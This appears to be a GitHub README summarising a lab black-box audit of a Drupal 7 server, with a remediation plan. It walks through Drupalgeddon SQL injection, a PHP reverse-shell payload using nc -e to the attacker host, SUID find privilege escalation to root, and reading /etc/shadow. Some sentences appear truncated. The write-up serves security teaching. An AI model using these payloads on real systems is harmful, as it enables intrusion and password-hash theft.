fbm31/audit-blackbox-web-to-root
Audit de sécurité Black Box d'un serveur Drupal 7. Démonstration d'une Kill Chain complète : Injection SQL (CVE-2014-3704) ➔ RCE ➔ Reverse Shell ➔ Escalade vers Root (SUID). Ce dépôt contient le rapport technique détaillé, les preuves d'exploitation (PoC) et les mesures de remédiation pour sécuriser l'infrastructure.
Dieses Projekt wurde in einer kontrollierten und isolierten Laborumgebung zu Bildungs- und akademischen Zwecken durchgeführt. Es wurde keine reale Infrastruktur angegriffen. Ziel ist es, Systeme zu sichern, indem man die Angriffsmechanismen versteht.
Das Ziel dieses Projekts ist die Durchführung eines Black-Box-Audits. Dies bedeutet, dass die Analyse ohne Vorkenntnisse über das Ziel beginnt: Es wurden keine Anmeldeinformationen, keine technische Dokumentation und kein Quellcode bereitgestellt.
Die Infrastruktur wurde virtuell unter VMware in einem isolierten privaten Netzwerk (Host-Only) bereitgestellt, um jede Interaktion mit der Außenwelt zu vermeiden.
192.168.78.131
192.168.78.132
Der erste Schritt bestand darin, die Angriffsfläche der Zielmaschine mit einem Portscan zu kartieren.
Ausgeführter Befehl: nmap -sV 192.168.78.132
Identifizierte Dienste:
Die Analyse des Webdienstes (Port 80) und der Datei robots.txt ergab das Vorhandensein eines CMS Drupal. Die Inspektion des Quellcodes ermöglichte die Identifizierung einer veralteten Version: Drupal 7.x.
Die Ergebnisse der Erkundungsphase zeigten eine kritische Angriffsfläche: ein nicht gewartetes CMS Drupal 7. Diese Version ist historisch dafür bekannt, anfällig für schwerwiegende Sicherheitslücken zu sein (insbesondere „Drupalgeddon").
Angesichts dieser Feststellung konzentrierte sich der Audit auf eine gezielte Suche nach öffentlichen Schwachstellen (CVE). Diese Aufzählung bestätigte die Existenz einer vollständigen Ausnutzungskette, die es ermöglicht, von einem einfachen Web-Besucher zu einem Systemadministrator „Root" zu gelangen.
Identifizierte Angriffsvektoren:
Ausnutzung der Schwachstelle CVE-2014-3704 (Drupalgeddon). Diese Sicherheitslücke in der Datenbank-API von Drupal ermöglicht das Injizieren von SQL-Befehlen ohne Authentifizierung.
users mit Administratorrechten.
Sobald man als Administrator angemeldet ist, wird das native Modul PHP Filter verwendet. Dieses Modul, wenn falsch konfiguriert, ermöglicht die Ausführung beliebigen PHP-Codes in den Seiten der Website.
<?php system('nc -e /bin/bash 192.168.78.131 4444'); ?>www-data).
Analyse der Dateien mit SUID-Berechtigung (Set User ID). Entdeckung einer kritischen Konfiguration beim Befehl find.
find . -exec '/bin/sh' \;find wird als root ausgeführt und startet eine Shell mit Root (uid=0)-Privilegien.Sobald der Root-Zugriff erlangt wurde, wird die sensible Datei /etc/shadow gelesen, um die Hashes der Benutzerpasswörter zu exfiltrieren.
Der Audit ergab ein KRITISCHES Risikoniveau. Die Kombination eines veralteten CMS und einer Nachlässigkeit in der Systemkonfiguration (SUID) ermöglicht eine vollständige Kompromittierung des Servers.
Auswirkungen auf das Unternehmen:
/etc/shadow).Prioritärer Aktionsplan:
chmod u-s /usr/bin/find).Für vollständige technische Details, die verwendeten Skripte und die eingehende Analyse konsultieren Sie den vollständigen Bericht: Auditbericht lesen (PDF)
Fabien MOINE